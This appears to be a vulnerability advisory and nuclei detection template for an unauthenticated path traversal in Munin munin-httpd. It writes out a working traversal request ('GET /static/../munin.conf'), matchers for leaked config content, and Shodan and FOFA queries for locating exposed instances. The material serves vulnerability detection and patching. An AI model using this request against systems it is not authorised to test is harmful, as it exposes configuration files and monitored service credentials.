Munin munin-httpd 2.99.1-2.999.18 - Unauthenticated Path Traversal

mediumseverity

5.3CVSS score

0.4%likelihood of exploitation, next 30 days

29%of all CVEs are less likely

Readycheck to confirm it

Munin munin-httpd 2.99.1 through 2.999.18 contains a path traversal caused by improper '/../' substring check in static file handler Munin::Master::HTML::handle_request, letting unauthenticated attackers read files outside the static directory.

Impact

Unauthenticated attackers can read sensitive configuration files, exposing monitored service credentials.

Fix

Update to a version later than 2.999.18 or the latest available version.

How to confirm it

Send: GET /munin.conf
Positive when: status_code != 200
Send: GET /static/../munin.conf
Positive when: status_code == 200 and regex("(?m)^[ \\t]*#?[ \\t]*dbdir[ \\t]+\\S+", body) and regex("(?m)^[ \\t]*(htmldir|logdir|rundir|includedir|staticdir)[ \\t]+\\S+", body)

Run it with nuclei: nuclei -id CVE-2026-125357 -u <target>

The full check

id: CVE-2026-125357

info:
  name: Munin munin-httpd 2.99.1-2.999.18 - Unauthenticated Path Traversal
  author: maulanawirawan
  severity: medium
  description: |
    Munin munin-httpd 2.99.1 through 2.999.18 contains a path traversal caused by improper '/../' substring check in static file handler Munin::Master::HTML::handle_request, letting unauthenticated attackers read files outside the static directory.
  impact: |
    Unauthenticated attackers can read sensitive configuration files, exposing monitored service credentials.
  remediation: |
    Update to a version later than 2.999.18 or the latest available version.
  reference:
    - https://github.com/munin-monitoring/munin/commit/e7b6f452cc
    - https://github.com/munin-monitoring/munin/issues/1710
    - https://nvd.nist.gov/vuln/detail/CVE-2026-125357
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-125357
    epss-score: 0.0035
    epss-percentile: 0.28889
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: munin
    product: munin-httpd
    shodan-query: 'http.title:"Munin"'
    fofa-query: 'title="Munin"'
  tags: cve,cve2026,munin,traversal,lfi,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /munin.conf HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code != 200'
        internal: true

  - raw:
      - |
        GET /static/../munin.conf HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("(?m)^[ \\t]*#?[ \\t]*dbdir[ \\t]+\\S+", body)'
          - 'regex("(?m)^[ \\t]*(htmldir|logdir|rundir|includedir|staticdir)[ \\t]+\\S+", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from